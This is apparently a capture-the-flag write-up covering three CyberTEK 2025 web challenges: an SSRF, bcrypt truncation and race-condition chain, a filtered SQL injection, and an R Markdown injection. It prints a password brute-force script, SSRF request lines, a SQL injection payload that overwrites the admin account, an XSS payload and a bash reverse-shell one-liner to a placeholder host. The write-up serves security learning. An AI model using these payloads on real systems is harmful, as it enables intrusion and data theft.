CyberTEK 2025 Web Writeups
These are the writeups for 3 of the web challenges presented in CyberTEK 2025. The first one is a chain of vulnerabilities; SSRF, a library “flaw”, and a Race Condition. The second challenge requires a considerably tweaked SQLi payload, and the 3rd one is a bit of a classic. Let’s get started!
Vroom
We are first presented with a login page:
It doesn’t seem like we can register a user, so let’s check the source code.
It’s a flask application, mainly an app.py with a few templates, one of them being flag.html which will essentially print the flag if we could successfully visit /flag
As expected, this won’t work right away.
Let’s read some code, starting from the function that gets the flag:
Okay, so we need to match the auth parameter, as in /flag?auth=correct_value
.
Let’s see what get_api_auth_token() does
Well, it just gets the API_AUTH key from the database, I wonder if we have the means to leak or edit that value..
Oh we actually do, there is set_api_auth_token() that would change the API_AUTH to a parameter we provide.
Where is it called though? Sadly the /api/setAuthorization
is only accessible locally, I smell SSRF
The pieces of the puzzle are coming together, we have this /api/fetch
that will do the thing, but wait.. it requires a token parameter, which should be equal to the ‘user_token’, unluckily for us, the user token is randomly generated and can’t be directly bruteforced.
But digging more into the source code, the base.html template actually prints the user_token, it’s just how the login functionality is coded, so all we need now is to find a way to login to the website.
As I mentioned earlier, there is no user registration, but within the init_db() function there was an interesting user being added, and his password is just the username + ":" + uuid + ":" + generate_random_password()
.
generate_random_password() function is actually secure and it returns a 64 byte string, no way we’re gonna bruteforce that right? Well, we will, but partially..
If you review the last code sample thoroughly, you will notice it’s using bcrypt to generate a password hash, nothing out of the ordinary, but if you didn’t know, there is a catch:
This means bcrypt will only take the first 72 characters of a password and use them to generate the hash, anything beyond that is omitted, For example, let’s say you registered a user with this password
eb1c327a93739589f5c4f0c31443a0bff6845e3d8849e4c91be2ad59d4879a4d2e23c43794f319e2fe2f838299ce4b39785b8e4580fbcc4d95344c577c8413b1_TOTALLY_NOT_NEEDED_PART_AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
You actually can login successfully just with this portion of your password (the first 72 characters)
eb1c327a93739589f5c4f0c31443a0bff6845e3d8849e4c91be2ad59d4879a4d2e23c43794f319e2fe2f838299ce4b39785b8e4580fbcc4d95344c577c8413b1
Going back to the challenge, we can calculate 71 bytes
33 (username) # a_retro_hero_fighting_80s_monster
+ 1 (colon) # :
+ 36 (uuid) # bdf7418a-8ec1-4624-a5fa-69d3f8d50abc
+ 1 (colon) # :
= 71 bytes
This leaves us with only 1 unknown character, which is easily bruteforceable:
import requests
url = 'https://vroom.tekup-securinets.org/login'
username = 'a_retro_hero_fighting_80s_monster'
uuid = 'bdf7418a-8ec1-4624-a5fa-69d3f8d50abc'
session = requests.Session()
for x in '0123456789abcdef':
candidate_password = f'{username}:{uuid}:{x}'
print(f'Trying with last byte: {x} …')
res = session.post(url, data={
'username': username,
'password': candidate_password
}, allow_redirects=False)
# Flask redirects to `/` on success, 302 Found
if res.status_code == 302:
print(f'[+] Success! Working password: {candidate_password}')
break
else:
print('[-] Failed to find the correct password.')
And indeed, we get our password and login:
Ok we finally got the user_token, let’s try and fetch something
Fetching the flag directly is a no-go, but we can leverage this SSRF to set an arbitrary auth token and use it to get the flag
But three is more to it, the latter function sets our own API_AUTH but then immediately revokes it because the second parameter
token
not equal to the admin_token, which we have no way of obtaining.
Let’s take a look another look at the function that gets the flag, can you think of a way to get the flag without needing the admin_token?
I hope you guessed right, because there is a gap in time where we can sneak in, set a custom API_AUTH, and get the flag, before the application resets the API_AUTH. It’s a Race Condition
.
All we need is to send 2 requests simultaneously, until we get a good hit.
# Req1 (sets a custom **API_AUTH** value: 'Karrab')
/api/fetch?token=bfe51f59ac25b5329138ce0a5059eb07&url=http://127.0.0.1:5000/api/setAuthorization?auth=Karrab
# Req2 (gets the flag with 'Karrab' as the auth value)
/api/fetch?token=bfe51f59ac25b5329138ce0a5059eb07&url=http://127.0.0.1:5000/flag?auth=Karrab
Here is how to do it in Burpsuite: Let’s first start by preparing the two requests in the repeater (intercept then send each one there)
Now we add both tabs to a group
And we select “Send group in parallel” as a send option
Now we hit send and after a few attempts:
Here it goes Securinets{__RACING_THE_TIME!!}
BBSqli
Ok it’s just a login page, and the name BBSqli
hints on a SQL Injection attack, let’s see
Alright it’s a similar structure to the Vroom challenge, a regular Flask app.
Assuming we log in, here is what the dashboard would look like
It prints the user’s username and email. Let’s keep note of that.
the main functions in the code are
add_flag(flag) # Executes once in the beginning and adds the flag to the database in the 'flags' table
add_user(username,email, password) # adds a user to the database (we can't use it, it's only used for 'add_admin()')
add_admin() # adds a user ("admin","admin@admin.cfg",hash_password(generate(30))
reset_users() # deletes all users from the database
login() # a specially crafted login function
Let’s take a look at login(), as most the challenge’s logic is there
We can right-away see a Blind SQL Injection vulnerability present twice in the code
cursor.executescript(f'''INSERT INTO logging (username) VALUES ('{username}');''')
cursor.execute(f'SELECT username,email,password FROM users WHERE username ="{username}"')
That’s interesting, let’s try to figure out how the login() function works:
1) gets a username and a password, then checks if any banned item is present within the username, here is the banned list:
It’s a fat list isn’t it? with key statements like INSERT
, INTO
, AND
being banned, it doesn’t leave us with much freedom, and I think from now it’s a waste to run sqlmap.
2) If the username input is valid, it inserts it into the logging
table, then it would check if there is such a username in the database and pull it’s email and password.
3) Before checking the username against the password in the database, the app would call reset_users() and add_admin() to prune all users in the database then re-add the admin user (with a practically uncrackable randomly generated password).
4) If there is a username with the provided password in the database, the user will successfully login and have their username and email printed to them in the dashboard.
Alright that’s a lot to grasp at once, so let’s just think simple and ask a few questions:
- Can I bypass the banned list? Short answer is NO.
- Can I insert a new user with the SQLi then login? Not really because the app would’ve deleted all users before we could login again.
- How can I get the flag anyway? Well, we can make progress here actually, I ran the app locally, removing all the obstacles, and figured we can use the fact that the email is being printed back to the logged in user, to just put the flag there. we need to somehow do this
email=(SELECT flag FROM flags)
- Who’s email am I going to change? The admin user seems like a good option
- Is there any other flaw in the app’s logic? YES indeed, it’s the fact that it fetches the user (
user = cursor.fetchone()
) and saves it to an object before resetting all users, then it compares the input password in that user object. - How is that a problem? In simple words, it means we can change the admin’s email and password, then log in with that user even after the reset happens, as long as it’s within the same login request.
Good for us the UPDATE
query isn’t in the banlist.
A requirement for this attack is to use a pre-calculated hash as the password. And use that password when logging in.
password='4f4ed9fd06f713e0642439522ed31531' WHERE username='admin';
A payload like this won’t work still,
admin');UPDATE users SET email=(SELECT flag FROM flags), password='4f4ed9fd06f713e0642439522ed31531' WHERE username='admin';
It’s because we need to make sure to satisfy both injection points with no errors
Here is our final payload that meets all requirements:
admin"-- -');UPDATE users SET email=(SELECT flag FROM flags), password='4f4ed9fd06f713e0642439522ed31531' WHERE username='admin';-- d920ade' WHERE username='admin';--
And here is the flag
Coin Machine
It’s just one input field
Throwing in the value Test
, it returns this
Trying something like "><img src=1 onerror=alert('Karrab')>
, would lead to an XSS
I don’t think that will be enough to get us the flag, let’s keep digging,
app.py
So it would essentially throw whatever input we give at Rscript /opt/core/rscripts/run.R
, with the condition that if a line starts with ‘```{‘, the whole line will be replaced with just ‘```’.
Let’s search for payloads and see what happens
This would normally work, but considering the filter, we need something else
Digging a bit more, there is this
It returns an empty screen, which is promising, it could be a hint of command execution
Let’s try to get a reverse shell, popping my VPS
r system('bash -c "bash -i >& /dev/tcp/<IP>/4444 0>&1"')
And there it is
Happy Hacking!